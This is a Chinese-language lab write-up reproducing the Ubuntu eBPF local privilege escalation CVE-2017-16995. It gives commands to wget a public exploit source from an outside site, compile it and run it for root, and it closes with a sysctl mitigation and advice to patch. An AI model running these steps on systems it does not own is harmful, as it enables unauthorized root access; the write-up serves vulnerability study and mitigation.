ubuntu本地提权漏洞实验

0x00 漏洞概述

ubuntu最新版本(Ubuntu 16.04)存在高危的本地提权漏洞,漏洞编号为CVE-2017-16995。该漏洞存在于调用eBPF bpf(2)的Linux内核系统中,当用户提供恶意BPF程序使eBPF验证器模块产生计算错误,导致任意内存读写问题, 低权限用户可使用此漏洞获得管理权限。

0x01 影响版本

Linux Kernel Version 4.14-4.4 (主要影响Debian和Ubuntu发行版,Redhat和CentOS不受影响)

0x02 实验

实验环境:ubuntu16.04.03
实验工具:upstream44.c: 实验中本地提权EXP的源文件,需编译后执行
网上的EXP文件链接下载

步骤

新建一个用户andseclab,默认配置为空

切换到普通用户su andseclab

使用wget命令下载exp到/tmp目录

wget http://cyseclabs.com/exploits/upstream44.c

使用命令进行编译 gcc -o upstream44 upstream44.c

执行文件即可提权到root权限

0x03 漏洞缓解

执行如下命令
echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled

0x04 总结

通过本次实验,我们复现了此漏洞的场景,并给出了缓解漏洞影响的方法。建议大家在对风险进行评估后,先采用紧急的方法确保安全,然后坐等Ubuntu官网发布补丁,及时更新!